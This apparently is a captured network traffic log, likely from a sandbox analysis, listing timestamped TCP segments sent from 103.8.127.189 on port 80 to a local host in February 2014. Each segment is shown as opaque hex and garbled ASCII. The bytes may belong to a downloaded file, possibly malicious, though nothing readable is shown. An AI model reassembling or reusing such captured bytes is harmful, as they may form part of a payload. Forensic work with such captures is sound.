Feb 27, 2014 17:56:11.285896063 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ea 14 96 f1 ce 24 57 07 8b 61 f2 9d bf 6c 37 31 18 33 87 cb c2 51 76 d8 f7 4e 95 3d 0f 5c 3a 0c a0 ea ff 04 c2 ac 13 de 4a 28 d3 f8 0b c6 bf 50 af ac 93 be a6 8d 16 b1 11 c1 3e 39 2b ad de 59 f3 81 f5 59 0e c5 5f 99 8b 0c b7 d2 23 a5 46 f0 4e ac Data Ascii: $Wal713QvN=\:J(P>9+YY_#FNC)3`[LG>COO@z_&}ySsX,8J(H8HP$!3WJ'q,h'&(-$J^P}[4kPE\|	1017
Feb 27, 2014 17:56:11.347290039 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 96 1d 60 ed 76 71 ae ac e9 70 02 48 1e 42 87 08 6f 90 ea 36 35 ab fa be 87 b8 8a ae 47 fa 85 ae d2 fb ea 61 db 49 87 65 17 b8 8b e4 d3 3c 8b 0d 13 79 03 a5 7f 38 6a 44 ff e9 3c e5 47 3e ee 69 47 3e 43 c2 27 65 af 8e 66 79 89 c5 d9 15 ba 61 c7 f0 Data Ascii: `vqpHBo65GaIe<y8jD<G>iG>C'efya:mYzJ5iy,VFm,\|m-KDH\|,ZiN)\izI( yhIiI$'L,d6y=W'X0*	1019
Feb 27, 2014 17:56:11.347306013 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b3 51 8f d1 d7 68 e2 73 d7 75 4b 6d 0f f8 22 15 96 15 a6 68 13 2d 4b ad d9 79 43 c9 f3 1d 4a 61 1e 3d 6e 41 9f f4 46 a8 b3 86 0a 32 97 86 8f 44 97 dd ce d3 57 ef 8a 59 d7 5d ea 53 14 79 df ed 5a f0 22 17 16 94 cb ac fb 64 87 05 fb 5d 9d 2c 13 f4 Data Ascii: QhsuKm"h-KyCJa=nAF2DWY]SyZ"d],NiOt7^y=,LPIJhy,<O)5RX&l<C{]h>YkKaw\|V<C7bKxN^YG~-Kdx&z)je$Roy	1020
Feb 27, 2014 17:56:11.347426891 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1a f9 8e a3 b3 7d a2 2c cc 50 4a c9 d7 74 4c 6c 7b 3c 8b 6c 97 94 af 2c 7a e5 5a 83 23 bb 48 29 e7 a7 1d 28 f2 74 cb f6 17 b4 e3 c9 f2 d8 0e 8c 96 f9 87 f0 db 34 83 ec 05 71 4a 2c b7 b9 b9 c5 72 3d 43 2c 85 98 22 05 7a 88 27 cc 30 fb 47 4c 25 d1 Data Ascii: },PJtLl{<l,zZ#H)(t4qJ,r=C,"z'0GL%&Z91jT7}D}AYG&58IG&=7[jMT('H<l765K,,TnK$!7_8[$zzAuH:3uuAg	1021
Feb 27, 2014 17:56:11.358474970 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 79 4f e5 eb 1d 4f bc a0 a1 9a f3 97 5f ae 25 16 79 22 d5 92 74 4f e5 38 19 59 9c 16 07 6f c4 26 58 9a 85 20 f4 0b 3e 17 91 4a 68 29 78 fa 1e e3 19 47 a9 ff 90 b7 2c 58 99 d4 4d 3f f8 9e ad 92 31 79 2d 97 74 6e ae ef 39 4b c1 f3 94 47 60 53 f9 Data Ascii: yOO_%y"tO8Yo&X >Jh)xG,XM?1y-tn9KG`Ss_J@~D'sKiKzz)&z,,=U%xDCG#"RHt_y,7y"$iC<UJ{')-]JyH<zYZSC'}B[K7yCij	1023
Feb 27, 2014 17:56:11.358490944 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b7 f0 3c 0c 75 f0 48 d2 37 91 4b 52 7f 78 af 61 15 8c 0a db de 0c eb ec 12 9d 4a a0 f3 7d e3 28 63 1c 87 ac 1e 35 23 08 b3 fc 27 70 17 1d 8b 05 d2 ad ca 48 db f9 4f f3 5e 1c 82 6c 0b 39 4b 8c 36 fe ee 6c 7f d4 86 04 17 78 ca a5 28 3d ee 0c 12 b9 Data Ascii: <uH7KRxaJ}(c5#'pHO^l9K6lx(=YCzWrk<D?-_wW]Z,y#R9<(k9Oa]5~YCyIa]NB-8zX/fO}^J,-Px	1024
Feb 27, 2014 17:56:11.358493090 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da b9 0b c8 cf 7c 8a 6d 67 d9 cb ac f2 5d be 68 3b 15 8a a9 55 3d 7a fd a7 7c 26 4c 27 d7 6a ac d7 38 bf 68 97 d1 cb 13 97 1c c2 ad b2 a2 8e 6c a7 f1 ca 2c 9b 78 0f 52 92 3d 5b af 67 b8 a6 6d cd d8 48 8c 1d e8 49 cc 17 19 8e fe 97 35 0b 44 dd d9 Data Ascii: \|mg]h;U=z\|&L'j8hl,xR=[gmHI5DDwP7OT._#3.BN'm<UCMO)2y,J9CzZG\|lsEHx(.3M0a8, *W(~OsJ-gz	1025
Feb 27, 2014 17:56:11.369348049 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 04 39 22 53 9b 70 a6 fc 13 f9 43 ac eb 7c fb 42 13 71 47 3d a3 99 22 4d 88 fc 4b 7c 0e fa e7 e4 da 3d 34 2c 37 7d 47 a8 eb b9 da a9 28 11 4a 2d df 11 ec 2c de 74 8a fc 8d b8 eb e5 36 89 ca 2d 78 31 4a 44 e1 7d 8a 44 7a a1 22 28 93 14 1b de 57 15 Data Ascii: 9"SpC\|BqG="MK\|=4,7}G(J-,t6-x1JD}Dz"(W`j,')@WeC\ ,#"Dy]i'Gxs#(J]lF,!JQXwCK>)yylI~	1027
Feb 27, 2014 17:56:11.369354010 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d3 31 43 cd 7f 7d 48 31 f7 ea 2e 50 d3 5d c2 2d 96 78 40 e0 7d 91 86 c0 97 19 6d af 37 e3 4a a7 d3 45 43 cd 1e 35 4a 36 9f bc ce 24 fc b8 8a ac 97 fc 25 e5 f3 71 43 76 57 78 8b c1 d7 28 c2 0c 7e 12 0b 2c 3c 75 89 c1 92 39 cb d1 1e f9 06 16 db 90 Data Ascii: 1C}H1.P]-x@}m7JEC5J6$%qCvWx(~,<u9/J<OhCh9-='h7')WhJQi?9jyk&"HryOzYl')\|O^U lqd0`Ke%]8WJm<JuM,<'	1028
Feb 27, 2014 17:56:11.369622946 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7a 94 a2 2c 07 f0 47 a9 ff 88 d2 6c ff fe 7c a8 07 f0 ca 3b b7 1c 23 4c 9f 04 82 ac ff 7d 47 8b d2 b1 eb e5 17 2a 8a 44 7a f4 29 a9 ff f9 27 c1 57 94 22 29 f3 c2 48 2c 77 a1 b5 40 9a f4 8f b3 57 b1 62 40 d2 bf 8e dc 89 4e 4a a1 77 90 27 5c 7a 91 Data Ascii: z,Gl\|;#L}G*Dz)'W")H,w@Wb@NJw'\z#I!H'lz\i`j4FHjqW-Jy`#\w`xj-u.E'<gSZWNhy^9/S"vv,!HCGS]	1030
Feb 27, 2014 17:56:11.391202927 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7f d8 3f c4 53 90 0f 3c 34 f4 47 53 34 f5 26 ba f3 69 e0 4c 51 04 7a a9 7f ba 2b a9 c7 dd 75 8c 06 3c d5 a4 b6 b0 5e 6c da 29 5a ec c6 e9 22 ef 1c 46 4a 29 f7 79 ca d3 12 b9 a6 ac b3 0b a2 28 1a 3c e7 e4 17 30 22 65 4b 1d 26 c1 1a f9 49 69 1f 39 Data Ascii: ?S<4GS4&iLQz+u<^l)Z"FJ)y(<0"eK&Ii9G[J"z,yOtWWHx,Gzc-yJA'\l,J&O,hJz9SO qK"~Yy'zcynIJ&*O${JO	1031
Feb 27, 2014 17:56:11.391222000 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9f 94 ae a4 46 5d 86 4d 60 55 8e c4 e4 fb ea 8c 22 e9 43 c4 12 94 f5 8c 9a f1 ca 2d a0 99 40 68 ec f9 ee 08 1e 39 b1 28 1e d9 ce ac f0 b9 4d c4 e8 b1 ab ec 4e fb eb 6c b2 fe c7 2c 97 9c f6 ae 76 79 0b d3 d3 f8 0a a4 ec f8 ea af d7 c5 8a 6d d2 f0 Data Ascii: F]M`U"C-@h9(MNl,vym[y-@w&[WFC3CRYJJQQpZH7Qd,Hh-P$H(W)hJ@pytCtNWBsO[WYx_8'H	1033
Feb 27, 2014 17:56:11.391226053 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 25 52 4a bf f3 c7 c3 ac 96 b9 ce 57 97 1d 4b 25 97 12 ca 8c 96 b9 d4 28 67 c6 4a 5a 7b f8 26 20 fa 38 43 ac da 71 6d 68 12 b0 ae 9d 17 75 8f 44 92 33 83 a5 76 f9 47 cf fa 9d 2b 89 64 34 5a a5 b2 b1 6f ac a5 91 e5 0c 15 f1 ea c4 1f 3c c3 a8 ec b9 Data Ascii: %RJWK%(gJZ{& 8CqmhuD3vG+d4Zo<HetnhBJ()'WX.^p\|,H\|"@`eAaW}J,x8*rJ0%'YNDu'Hf]X ##(zu'\P7LCS5}J,=	1033
Feb 27, 2014 17:56:11.424678087 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 3d 2c 8c f0 2c 5b 67 48 38 ae 13 00 4a af 47 f0 42 ac da 79 a5 21 33 b8 43 23 95 1d aa 24 68 1d ee 20 1f 89 48 a4 b2 f0 b9 7c 79 f8 b4 c4 f3 d9 c7 a9 5d b9 ea ac 7f 74 6e ac 17 14 c6 6d d2 79 27 10 17 5d 4f 6d d7 0b 8f 2c 9a e9 6e 54 da 78 0a ac Data Ascii: =,,[gH8JGBy!3C#$h H\|y]tnmy']Om,nTxyv%_A'xtI!8kgdFJDSSBivCiuCRBVBS}C34mwvqR_YJOqJAkCdF"Km	1035
Feb 27, 2014 17:56:11.424686909 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4f cc 9b 4d ca af f5 3c ea dd 12 fd b3 ce 2e 58 58 ec 30 f9 27 49 86 75 27 49 9b 3a 5b cc 20 1c 57 68 57 fd f1 28 16 f9 0e 20 78 f0 a7 24 1e 46 40 a8 97 f5 b5 6f 77 51 43 a8 c8 f9 ee 6c 96 79 95 2c 7e fd 0e 2d ec 9d 51 a5 13 06 29 ae ff f9 ca 64 Data Ascii: OM<.XX0'Iu'I:[ WhW( x$F@owQCly,~-Q)dx"FjRWC`,CShnH,i5WlG_x"*my_Q%B)W7%T/\| y$x$}"tjJ??%%]7S~CilX	1036
Feb 27, 2014 17:56:11.424691916 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a af bf 18 4a 44 97 c3 c3 e5 16 98 71 8c 7b 31 cb e4 0c 39 48 60 aa 6c 5b 9c e8 99 5d 64 76 fa 4a 53 87 fd 4a 6c 66 74 4f 08 92 45 ca ef f7 ca 8f 86 1a 3c b7 2d 17 bf e2 cc f3 5d 8e 69 6b b6 69 ea 34 70 58 c8 52 da c3 24 57 da 43 a0 ec d8 6b fe Data Ascii: JJDq{19H`l[]dvJSJlftOE<-]iki4pXR$WCkyO7o$y"u#Kp*,}f@4JPH4,I!Ciqft^tLZt?y7lyC^bW_8H(PtJ]J^_<JOyh.W	1038
Feb 27, 2014 17:56:11.424695969 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d3 2c 97 dc b2 ed 97 dc 84 a8 37 b5 23 c1 d7 94 ca 89 30 74 5a a8 52 90 fe 6c 96 91 43 0c b7 74 4e e0 f8 90 4b b3 37 f8 0d 8c 9a fd 0b c5 ab b9 49 ac 10 6b ce 2c 32 c6 a7 2c 2d 79 e7 6c 00 b9 35 2c 9a f9 ea 45 55 e2 c2 ed 96 6d c7 a8 36 90 e6 6c Data Ascii: ,7#0tZRlCtNK7Ik,2,-yl5,EUm6lT>Y>J{Gz<FVHWq}"!.!^Z,-uy(\,xIRtWQZv8Wr6WUTOT>XJzbK~L	1039
Feb 27, 2014 17:56:11.424699068 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 22 08 7f f9 27 44 7a 30 4f ec 38 74 da a9 b2 75 f0 fc 1a 3d b1 fc 04 f8 6f ab be 35 ee 6b 9b 18 67 94 7e be c7 2d 11 5b da 7c 11 39 d5 ad c7 ff ae 51 96 50 02 48 17 ff c7 2c 0d 69 62 60 be 1c 8f 40 47 74 47 36 52 59 43 3c 87 f7 c6 14 aa 90 aa 3d Data Ascii: "'Dz0O8tu=o5kg~-[\|9QPH,ib`@GtG6RYC<=xy]pUm=Y^wRmVXgi"0uGC=K,P}uaE:3YS]I/lyChlVY'G\|8VYVYQ#Ht]Y3^*r	1041
Feb 27, 2014 17:56:11.424772978 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 6e 6d 9f 90 6b c5 1e 4a 67 05 4b fb f9 8c 5f 99 27 c1 97 7d 13 25 9a f9 d4 a8 33 79 ca 6f 97 f8 4a c4 b7 1e c7 a8 3a 79 f6 ec 97 79 e7 8c e0 79 ca fb e9 f1 4e 8c 97 fe 18 e1 c5 90 af 3c 7a 94 8a c1 17 d1 45 a5 17 d1 4a 1b b3 7d c7 a0 cc 11 27 a9 Data Ascii: nmkJgK_'}%3yoJ:yyyN<zEJ}',=Kwnzy`y`xJNY% Jy!!~Q'9=Fz,2P@:Fo#_,hy8uw@VbJ=JzbF	1042
Feb 27, 2014 17:56:11.424874067 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ee 2b 58 9b 03 3c 5d 1d 01 79 16 39 b6 8c 1c 31 fa 33 7f 59 07 4c 18 59 00 92 d6 70 4b 0c 5d 15 ee 43 bf 90 af c8 85 8b 4a 99 7a fd fa ae 96 8e da a8 97 b0 b0 c1 f3 5d 8e b3 48 fd 0e c1 eb dd 48 c4 7f 04 8a 85 12 d9 09 ec 9a fc 22 9d 41 f8 b4 bc Data Ascii: +X<]y913YLYpK]CJz]HH"ARx#gu'!x+-(V(%i}ypK@.GDy4OEy1N#JjhClaOnE)<HP)!JUlx	1042
Feb 27, 2014 17:56:11.445980072 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0f 15 7f fd 86 e0 95 e9 ae 91 92 54 c6 2c 7b 68 27 c1 f2 34 4f de 10 b0 ea a4 97 77 4f 36 56 06 de b5 9a f5 6e 14 47 f4 8a b7 97 b8 2b 43 1e d9 4b a5 f9 99 42 ac e8 55 e3 fc d3 1d 3f a0 97 f2 e5 2e 1c fc 20 e5 e7 78 8e ac 65 46 1b a8 b7 fd 4a e4 Data Ascii: T,{h'4OwO6VnG+CKBU?. xeFJ7vL"j\|D'JXGDJd5WlKql9J~,)N^2P,!cG1Cy,yi2\|Ww.FSJ,'n=FU%f?D	1044
Feb 27, 2014 17:56:11.445997953 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e7 ad 95 cf 8e 57 b3 59 43 68 ee f9 ee 28 9a dd 92 25 16 b9 4a c4 bb 38 4b c4 9a 5f c7 ac 12 15 27 04 7a 94 27 08 17 fa 4f 49 d3 3c 85 2c 16 79 23 24 f1 74 4e e1 97 b9 46 bc 9a fd b0 21 d7 b0 f5 ad 7e f9 c6 48 8b 78 4b c5 9a 9e 4a 48 9f f8 23 e1 Data Ascii: WYCh(%J8K_'z'OI<,y#$tNF!~HxKJH#yykyBjL*A#SJ(y$tOUyVK~p2,JV}k#Q7_>~q#oL^}{k~8tJ#!08O.	1045
Feb 27, 2014 17:56:11.446002007 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: fb e5 77 82 ca 1f e5 72 ae bc 92 54 c6 c8 37 f8 af ed d3 99 47 68 b3 46 8a ac 04 28 11 a5 15 07 6a bd 56 0e 2a 2c d7 94 4a 48 f3 5d 8a c1 63 1c c6 fc 7a 7c 7b 24 67 f4 11 8c 72 78 0a 23 16 bd c6 21 a9 a9 Data Ascii: wrT7GhF(jV*,JH]cz\|{$grx#!	1046
Feb 27, 2014 17:56:11.446471930 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7c ed 15 c2 fa ba 5f 02 cb c5 1f 34 4a 17 97 f9 23 68 e2 1c e7 a4 1e 3d 21 2d 9a 20 ee 04 7e dd 86 51 67 87 43 ae 87 ed 47 53 37 fd ee ec 97 86 5a 26 5f 0b 5a 21 13 90 2a 8c 54 94 cf ad 37 1d 66 6d 97 36 9a bc bb 44 72 c5 7b 99 cb fd 86 ed 3a b7 Data Ascii: \|_4J#h=!- ~QgCGS7Z&_Z!T7fm6Dr{:5I\P_Gi'IW]G>Jj:#t,J(y<RJ y<JhJEPgK(J)hJ'.JAXJ>HIHYNh+J	1047
Feb 27, 2014 17:56:11.446489096 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 90 c5 7e b5 ce 52 97 79 4a 0d 5e 09 8b a5 1b 5d fd a5 16 77 b5 c5 97 72 e1 24 12 b8 4a 48 ea 78 eb e5 56 ba 22 cc 92 38 eb 66 56 78 3d 2f 19 71 4a 0d 5e 59 43 80 b3 d1 95 a5 97 ff 8b 52 97 c4 aa d1 97 fc 1a ed f2 0c cf ad 99 90 ca 92 bd f0 4a 9a Data Ascii: ~RyJ^]wr$JHxV"8fVx=/qJ^YCRJOjyhT,YSiJ$JWylT9JNDy5PfY!HixJH1~y>q,$~DtZ!KK~y@CR,y,V$Hh#R(hmC	1049
Feb 27, 2014 17:56:11.446597099 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 41 8d f6 f0 75 ad 7a 70 8b ad f3 55 4a ab 3f 75 26 c1 43 94 e3 ac 7f 1d 4f 24 9a f5 23 c7 06 79 49 ad e8 94 2a ae 13 94 a6 2c 92 fc 4d c1 9a fc 03 4d 54 d1 23 52 9e f9 f4 03 35 1e e3 c0 17 1c cb 8a 1a 15 cb a5 f9 a8 ea f1 b6 85 27 ac 25 de cb a3 Data Ascii: AuzpUJ?u&CO$#yI*,MMT#R5'%hrdUgKWJ9V"~xwwRI-#5BPS}@,(wItN(Rxj]!"KC[W\y-@J!q	1050
Feb 27, 2014 17:56:11.490156889 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5a 8c 96 f1 85 6c 2f 90 38 ae f3 d9 47 03 9f f4 8b 2d 64 d9 cb e9 b7 b9 c9 5c 14 78 b6 ac 9a dd 0a a5 98 3d ee 20 97 f1 bc ac 5b b8 8a 5a 07 79 ca ec f4 50 02 48 9e c9 fa ae 1f 75 f7 6c 37 55 6c 20 1a f9 4a ed e2 39 ca c4 5f 47 26 ac 7a 94 4e af Data Ascii: Zl/8G-d\x= [ZyPHul7Ul J9_G&zNW/<{+V(J#tn]-YBx}h3C8<~WP/.W(wJ('WhQcUHRJ]k"Py)YbM/*7p(l	1051
Feb 27, 2014 17:56:11.490164995 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 26 c1 7a b9 ea ec da 35 4a 9c da 30 4b e8 5c 55 0a a4 97 79 ad 2c 85 35 d5 05 f6 e9 ce a5 89 b4 ca ba b0 79 4b ac f7 75 21 2c 1e 19 c2 5f 17 50 83 28 be 57 27 a5 9f 79 43 17 ff 7d 23 e9 aa f9 6d ac 16 07 a6 08 9b 79 3c 49 17 b1 83 48 7e 55 83 48 Data Ascii: &z5J0K\Uy,5yKu!,_P(W'yC}#my<IH~UH,ep2XJeeQ/,0Y,cP]`xJ#5Jh]xCRZ~/]CmFPtG#IzB =]H<,}zyJ,yGd#'Y!%}=)etf	1053
Feb 27, 2014 17:56:11.490166903 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: db 20 1e 18 29 c1 53 19 66 20 1e 99 4e ac f0 b0 ae 08 12 e6 2e 40 17 70 22 af f6 94 26 c1 87 f9 4f ec f3 79 be 68 7a 1c ca 20 10 f0 02 44 96 42 2a a9 17 11 54 2d 7f f4 23 55 7b d9 27 c4 3a f6 87 4c 39 7b 0e 0c db 30 87 2d 56 99 46 37 75 f5 08 64 Data Ascii: )Sf N.@p"&Oyhz DBT-#U{':L9{0-VF7uduaz!6xF,FaF+%,v!z:(z9G\|')5uyDh"q&JC4*Dm[)B?>'\g'SJ~	1054
Feb 27, 2014 17:56:11.490170002 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 62 c0 5f 59 85 2c d7 98 67 49 f1 7d 86 fc 13 f9 e6 65 db 1d 75 48 d3 31 4a c9 fe 79 0f 20 5f a2 0b ac d7 b8 ea 23 52 f5 06 89 17 30 4a e4 96 3c 87 69 fa f9 cb 68 e9 b0 83 60 fb 26 4a 48 9b 50 82 63 fb d8 e6 a4 96 89 43 9d 11 79 c7 64 72 f9 92 2d Data Ascii: b_Y,gI}euH1Jy _#R0J<ih`&JHPcCydr-J'WYUIhq^K`6jH5n@KZ)VNpZeh,rJMt?_'ev\|{Y9,i 8K =i=~	1055
Feb 27, 2014 17:56:11.490171909 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 83 3c 56 f8 eb 86 97 69 82 41 97 fd 4a c0 3c 51 42 2c d6 11 ce ac b7 3c 8e 78 1f 3d ee 20 57 06 42 6c 97 3c e2 ec 15 78 4a 51 1e 90 c7 89 8f 39 ce ac ff 7c e0 65 1e 9c 23 fd 37 f0 ae 08 bb 64 8a 90 9f 24 6a c8 7e 38 42 9b 57 aa eb 5c 11 b0 88 ec Data Ascii: <ViAJ<QB,<x= WBl<xJQ9\|e#7d$j~8BW\W=)&:!@t^J]QBa#-i*!RQJ<u/&(~$n-hQCZWBi1JytVXWJ(T/rtnI-\|	1057
Feb 27, 2014 17:56:11.490374088 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ce 04 97 4e 87 61 17 30 0a be 9b 79 8b 6d e3 f8 6a 6e 97 b2 a2 2c 7a 1d fb ac b3 75 43 ed cc f0 22 a5 33 3d e5 ac 24 f5 95 ac 55 f0 48 ec 77 fc 2e 41 67 7d aa aa d9 b9 eb 69 d3 1d 43 00 17 ee a1 a8 9a f8 aa 77 1e 91 4f c1 8b f9 ae 21 1e 35 01 08 Data Ascii: Na0ymjn,zuC"3=$UHw.Ag}iCwO!5J`izYCR'HHCMb2F,)!l*0[yCqC~Z(3%"EE9Q$<<>lXWE?E-PK<)PC`<&HvyhXX7	1058
Feb 27, 2014 17:56:11.501029968 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cb 7c 42 b5 94 fc 7b f1 ca 73 d6 29 0f ac 7a 7c 82 a8 f6 e5 d8 a9 7e b1 ea ec 84 19 87 60 de 30 4b 5c 3b 89 7e 2c 23 fb 0e be 5e 75 43 e4 1e 9b 2b 8c ff 35 82 c9 12 49 12 6b f3 f9 e3 29 f2 60 cb ad 52 79 ca 06 12 9d c7 a8 dc 99 fb 87 06 39 06 6d Data Ascii: \|B{s)z\|~`0K\;~,#^uC+5Ik)`Ry9m<ZKz}t^,yZhKFN`]!j,yzIW5!Jv9*HKn8\|z\|ISB<i8n<VL],(=#DYChZ`}duq&:OLQu	1060
Feb 27, 2014 17:56:11.501036882 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4e a9 7a 78 7b 04 d3 39 a2 6a 15 79 ca a8 e8 3d a2 28 d7 1c 4a c4 37 38 26 70 7a f8 0e e4 93 d4 4f ac 25 02 42 2c a4 c6 db ac 19 51 b7 6c 17 ab 3d a0 17 18 18 53 17 6a 4e 53 15 6a c3 ac 34 79 3b 6c 1e fd b1 44 d5 f0 8a 8d 16 ff 8a aa aa b9 48 2e Data Ascii: Nzx{9jy=(J78&pzO%B,Ql=SjNSj4y;lDH.9JM=B^qKW '!<gR]Ax.yR(R9VJy,BJ3JdKz?yHSYh-9$Dz	1061
Feb 27, 2014 17:56:11.501039982 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a5 be 9f 79 6a db 93 79 51 d1 fb f0 e2 c9 ff 9b 88 b6 b7 39 56 56 db d7 4a 48 92 f0 8e f7 b3 7d 4b e8 53 27 aa ba 97 c6 8a cd 0c 7d 4a 05 52 19 06 e8 7e 35 4a ae 3c b9 da 2d 64 1c ee c0 d3 f9 18 24 17 15 c2 5f 96 1d 52 0d fe 7a ca 9e a3 f4 07 05 Data Ascii: yjyQ9VVJH}KS'}JR~5J<-d$_RzZy$+JK-REP,yJ_pMHuBwqC.Tz;!y,z='KV0KS}B LGa"[wVJIj-~u0"@YI)tWJ,4m	1062
Feb 27, 2014 17:56:11.512075901 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b5 44 e7 50 dd ec d3 5d 8a 6c ea 1d ca b7 a8 e9 e6 c1 92 71 eb cf 9a 97 6f bc db 5d e6 91 87 b3 a2 12 96 e9 22 0d fb 08 ca d5 33 01 0a a9 36 7d 6e 8c 1b 06 8a c4 73 74 48 d2 f7 c8 86 a7 b3 55 43 2d 15 02 fa ba 92 0e 4b ec 93 90 4a 12 97 f0 0b a1 Data Ascii: DP]lqo]"36}nstHUC-KJ4<xm5X,W';{Bj"F;xC5)`MG_]niilkIX]Cl]N:zN)ilzlIzzJu	1064
Feb 27, 2014 17:56:11.512093067 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 5a 97 35 a6 69 f0 79 8e ac 7a 7c 8b cc f7 3d ca e7 17 35 0b 0d 57 d9 43 21 57 f9 8e 50 d3 79 8a 85 ae b9 4a 68 d3 79 81 a5 96 b8 22 ac a8 75 eb 2d fe f6 0a 49 17 f0 cf 52 fb 78 0a 6c fd f9 43 6d 93 f8 b4 ed 93 f8 42 c5 ea 15 ca a1 6c 15 2a a5 Data Ascii: JZ5iyz\|=5WC!WPyJhy"u-IRxlCmBl\|'=Vp?Jj,_s8CSOyX;R eVN-M(,Xf yF"J6[yA<GDUK9C!XJaXdtC'-W	1065
Feb 27, 2014 17:56:11.512208939 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 22 49 bb 75 ca 2c db b9 b6 8c 96 30 43 de 57 39 0f 94 cd f8 46 ec 0a 99 02 ac 00 91 83 ac d7 09 27 c1 37 78 4d ed 07 f8 63 a4 b0 98 48 53 f3 71 4a c1 f3 a8 ee 24 16 b8 b1 ac f7 94 ae 08 50 71 22 84 13 15 bf dc 72 b9 45 49 93 59 42 ec 64 90 da ef Data Ascii: "Iu,0CW9F'7xMcHSqJ$Pq"rEIYBd,}XWmiC9"0,g@.qC)l={T@9\K;l1%eIA^N,xYsI)OiC/p-O tYqRhzixS	1066
Feb 27, 2014 17:56:11.555998087 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 44 3c 19 79 b5 ad fb f9 82 2c 98 1d 06 a5 96 e3 6a ad f2 99 ca 1b 36 4f bc 6d 17 7d 43 61 aa 95 ea e5 1e f9 09 69 7f f9 23 70 96 18 4a ed 9a 73 6e ed 1a 3c 67 ac 57 1d 43 20 7c 3c 6a a9 57 39 95 2c 7f 99 22 4c a9 11 4f 2d 9a b9 2b 10 77 91 bd 81 Data Ascii: D<y,j6Om}Cai#pJsn<gWC \|<jW9,"LO-+wW'xa~b{U<U'34ft8Hz4M.%H<^\|{n69:{{A:mI<aKH@VZmVylM`9"z	1068
Feb 27, 2014 17:56:11.556006908 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cb 0d 57 90 4a 63 77 78 ca 2c 28 f0 6f ad 15 96 4f c8 eb 15 82 a5 12 fb 50 2e 00 50 06 21 db f2 2b bc 96 fc 4a 85 57 fa 8e 50 d7 f8 0a ee 50 5d 27 29 9f 3c af bc d3 79 43 c2 57 cc 4b 5a 53 b9 c6 a5 b7 04 43 a9 14 96 2a ac e6 1c c2 0d 5e a9 43 a1 Data Ascii: WJcwx,(oOP.P!+JWPP]')<yCWKZSC*^C{aJ:Xj-22SOz<=JTpc,Py,yXB,c)}!x,yC@H7KBERW~hQDYzC-z9(	1069
Feb 27, 2014 17:56:11.556010962 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 47 7b b7 fa 23 5a 17 71 4b c0 93 db c7 a9 97 db cb fc 91 11 c3 54 e6 fd 97 65 87 91 ea c1 61 29 4f a1 54 29 4a 88 d2 0c 9a a9 b7 bc 9a a9 16 97 0b 7c 12 b9 b5 21 12 95 eb bf ff d9 ca 56 df f4 86 7d 6e 51 86 ac 42 5d ea 48 9e 2e a2 2d 17 91 83 11 Data Ascii: G{#ZqKTea)OT)J\|!V}nQB]H.-s'?zjtNC)c,HIKX"y,YgCcBm^8J@:]L(y,IH\|2JJs0j"5CaM!xLq%zJ"LH.	1070
Feb 27, 2014 17:56:11.556449890 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d6 61 0e a9 87 cb af 3c 0d 12 43 e8 be 3c 0a 07 9b f8 a7 24 f4 29 1a 08 06 39 e6 a8 9e 95 0a a8 16 07 a7 6c 9b 79 c7 92 13 78 8b ae 47 ea 44 45 77 f1 4a d0 66 b4 e6 48 1f 3c 4e d6 93 79 87 77 96 75 aa c5 17 03 ce 08 96 75 b5 4c 9a f1 6e e4 f4 99 Data Ascii: a<C<$)9lyxGDEwJfH<NywuuLnh{u R+9GS&4&l')OG]b"jgI{#!/JH=0"3$\45 ID'eDf<ly	1072
Feb 27, 2014 17:56:11.556457043 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 94 e3 ed fa f4 66 2d 7f f9 43 8a d2 79 eb e5 e4 1d 4a a5 9b 11 f7 a5 52 90 cb ac bd f8 02 c1 da 49 86 61 17 30 0a be 9f 79 43 68 ec f9 ee 28 d6 f0 b8 e5 d3 3c 4a a5 55 91 4b c4 7a dd af ac 92 3c 27 cc 92 19 aa 68 17 8b ca a1 b3 79 bd 68 d2 39 Data Ascii: f-CyJRIa0yCh(<JUKz<'hyh9\|IWq(`>W7#_a&?J]1TE{A'IzCJzKUG(NJ#Y#5\|G ymV,LVxYlI4/hCH<C.!G	1073
